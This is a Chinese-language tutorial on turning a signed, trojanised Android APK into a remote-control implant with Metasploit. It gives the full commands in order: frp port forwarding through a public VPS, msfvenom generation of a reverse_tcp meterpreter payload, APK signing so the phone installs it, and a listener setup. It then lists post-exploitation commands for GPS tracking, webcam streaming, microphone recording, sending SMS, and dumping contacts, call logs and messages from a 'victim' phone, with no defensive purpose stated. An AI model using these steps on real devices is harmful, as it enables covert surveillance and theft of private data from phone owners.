您好,登錄后才能下訂單哦!
通過Metasploit怎么遠(yuǎn)程控制Android設(shè)備,相信很多沒有經(jīng)驗(yàn)的人對(duì)此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。
如下圖,可以看到有這幾種可以在Android下使用的payload:
如果我們的手機(jī)與攻擊者所使用的計(jì)算機(jī)處在同一局域網(wǎng),受害者的手機(jī)可以直接訪問到攻擊者的電腦,也就不需要端口映射了??墒乾F(xiàn)實(shí)中,絕大多數(shù)情況是,受害者的手機(jī)位于外網(wǎng)或者與攻擊者處于不同的內(nèi)網(wǎng),而攻擊者的電腦處于令一個(gè)內(nèi)網(wǎng)環(huán)境,此時(shí),受害者的手機(jī)無法直接訪問到攻擊者的電腦,那么就需要進(jìn)行端口映射了,即將攻擊者的端口映射到位于公網(wǎng)的vps上面去,這樣,受害者的手機(jī)通過訪問公網(wǎng)vps就可以間接的訪問處于內(nèi)網(wǎng)的攻擊者的電腦。
更簡(jiǎn)單的一個(gè)解決方法:既然都有vps了,為啥不直接用vps當(dāng)攻擊機(jī)呢?可以直接在vps上面安裝metasploit,生成木馬并直接控制受害者的手機(jī),這多簡(jiǎn)單。但這里我們還是用端口映射的方法。
我們先用frp工具來實(shí)現(xiàn)端口映射,利用處在內(nèi)網(wǎng)的攻擊機(jī)kali實(shí)現(xiàn)對(duì)處在外網(wǎng)的Android機(jī)器的入侵。
實(shí)驗(yàn)環(huán)境:
目標(biāo)Android設(shè)備
公網(wǎng)vps(centos)
內(nèi)網(wǎng)攻擊機(jī)kali
主思路是:
公網(wǎng)vps運(yùn)行frp server
本地kali運(yùn)行frp client
將kali本地端口映射到公網(wǎng)vps
1. VPS 服務(wù)端:
將vps作為frp服務(wù)端,執(zhí)行./frps -c ./frps.ini
,服務(wù)端的配置 frps.ini 如下:
[common] bind_port = 7000 # 這是默認(rèn)的,改不改皆可
2. 客戶端:
將內(nèi)網(wǎng)攻擊機(jī)kali作為frp客戶端,客戶端的配置 frps.ini 如下:
[common] server_addr = 39.xxx.xxx.210 # 這里是公網(wǎng)vps的ip server_port = 7000 # 這里的端口要跟服務(wù)端的一樣 [msf] type = tcp local_ip = 127.0.0.1 local_port = 4444 # 將到達(dá)frp服務(wù)器的數(shù)據(jù)轉(zhuǎn)發(fā)給本地的4444端口 remote_port = 2333 # 服務(wù)端的2333端口轉(zhuǎn)發(fā)給本地
客戶端通過vps的IP和7000監(jiān)聽端口建立連接,把公網(wǎng)的2333端口數(shù)據(jù)傳遞給本地的4444端口。
配置完,執(zhí)行./frpc -c ./frpc.ini
啟動(dòng)客戶端:
到這里frp就配置完了,接下來就是要生成木馬了。
用Metasploit生成載有惡意Payload的Android的apk。在Kali Linux里面打開一個(gè)新的窗口輸入:
msfvenom -p android/meterpreter/reverse_tcp LHOST=39.xxx.xxx.210(vps公網(wǎng)ip) LPORT=2333(公網(wǎng)) R > shell.apk
我們已經(jīng)成功創(chuàng)建了Android格式(APK)文件的有效載荷。但是,現(xiàn)在一般Android的移動(dòng)設(shè)備不允許安裝沒有適當(dāng)簽名證書的應(yīng)用程序。 Android設(shè)備只安裝帶有簽署文件的APK。我們可以使用如下工具進(jìn)行手動(dòng)簽名:
Keytool JARsigner zipalign
這3個(gè)軟件,Kali中內(nèi)置了前2個(gè),第3個(gè)需要安裝(在新版kali中,JARsigner也需要自己安裝apt-get install openjdk-13-jdk-headless)
第一步:使用keytool生成一個(gè)key文件。會(huì)讓你輸入該key的名稱、單位、地址等等信息,最終生成一個(gè)key文件
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
上面問你的東西隨便填就行,但是要注意,最后不要輸入yes要輸y,不然會(huì)一直詢問。
如下圖,生成一個(gè)key文件:
第二步:使用該key文件配合JARsigner為APK簽名
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore shell.apk alias_name
第三步:然后使用JARsigner驗(yàn)證簽名
jarsigner -verify -verbose -certs shell.apk
到此為止,就完成了簽名過程,此shell.apk就可以在Android中使用了。
使用metasploit監(jiān)聽本地接受數(shù)據(jù)的端口
msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 127.0.0.1 set LPORT 4444 exploit
然后將載有payload的APK發(fā)送到手機(jī)上安裝并啟動(dòng),此時(shí),msf上面就可以得到手機(jī)的一個(gè)session了:
這里,有的手機(jī)得到的session一會(huì)兒自動(dòng)斷開,不知道為什么,我自己想了個(gè)解決辦法是:剛一獲得session就馬上執(zhí)行 webcam_stream 開啟遠(yuǎn)程視頻,之后斷開視頻就可以了,session就穩(wěn)定了,不會(huì)再斷開了,不知道為什么!
在我們獲取了目標(biāo)Android手機(jī)的Meterpreter權(quán)限之后,我們可以執(zhí)行如下命令進(jìn)行后滲透攻擊
查看手機(jī)是否root過
check_root
控制目標(biāo)手機(jī)發(fā)送短信
send_sms -d 某個(gè)手機(jī)號(hào)碼 -t "hello"
查看系統(tǒng)信息
sysinfo
對(duì)手機(jī)進(jìn)行定位
wlan_geolocate // 使用WLAN信息獲取當(dāng)前地理位置 geolocate // 利用地理定位(GPS)獲取當(dāng)前LAT
此命令會(huì)輸出手機(jī)的經(jīng)緯度,我們根據(jù)這個(gè)經(jīng)緯度就可以知道手機(jī)的具體位置;還有一個(gè)網(wǎng)址,打開網(wǎng)址就會(huì)顯示手機(jī)在谷歌地圖中的位置。但是這個(gè)網(wǎng)址要科學(xué)上網(wǎng),所以我們可以直接在谷歌地球上定位這個(gè)經(jīng)緯度:
準(zhǔn)確度沒得說了,精確到樓號(hào)。(以上經(jīng)緯度為geolocate獲?。?/p>
調(diào)用手機(jī)攝像頭
webcam_list // 列出網(wǎng)絡(luò)攝像頭 webcam_snap 1/2 webcam_chat // 開始視頻聊天 webcam_snap // 從指定的攝像頭獲取快照 webcam_stream -i 1 // 從指定的網(wǎng)絡(luò)攝像頭播放視頻流
調(diào)用麥克風(fēng)
record_mic -d x // 從默認(rèn)麥克風(fēng)錄制音頻為X秒
此命令默認(rèn)錄制默認(rèn)麥克風(fēng)錄制1秒鐘的音頻,并將嘗試不帶精度的參數(shù)來播放捕獲的音頻wav文件。
獲取通訊記錄信息
dump_calllog // 下載目標(biāo)手機(jī)上的通話記錄 dump_contacts // 獲取聯(lián)系人列表 dump_sms // 獲取短信
如上圖,將通訊記錄,聯(lián)系人列表和短信都保存到了攻擊者本地文件中了
來個(gè)比較有意思的?,F(xiàn)在讓我遠(yuǎn)程強(qiáng)制修改我手機(jī)的壁圖案。繼續(xù)輸入命令如下:
msf > use post/multi/manage/set_wallpaper msf post (set_wallpaper)>set WALLPAPER_FILE /root/5.jpg msf post (set_wallpaper)>set session 1 msf post (set_wallpaper)>exploit
5.jpg如下:
執(zhí)行模塊并成功更換:
更多命令如下:
execute 執(zhí)行一個(gè)命令 getuid 獲取當(dāng)前運(yùn)行的用戶 localtime 顯示目標(biāo)系統(tǒng)的本地日期和時(shí)間 pgrep 按名稱篩選進(jìn)程 ps 列出正在運(yùn)行的進(jìn)程 用戶界面命令 =============================== screenshare 實(shí)時(shí)監(jiān)視遠(yuǎn)程用戶的桌面 screenshot 抓取交互式桌面的屏幕截圖 音頻輸出命令 ============================= play 在目標(biāo)系統(tǒng)上播放波形音頻文件(.wav) 應(yīng)用程序控制器命令 =============================== app_install 請(qǐng)求安裝apk文件 app_list 列出設(shè)備中已安裝的應(yīng)用程序 app_run 啟動(dòng)包名稱的主活動(dòng) app_uninstall 請(qǐng)求卸載apk文件
看完上述內(nèi)容,你們掌握通過Metasploit怎么遠(yuǎn)程控制Android設(shè)備的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。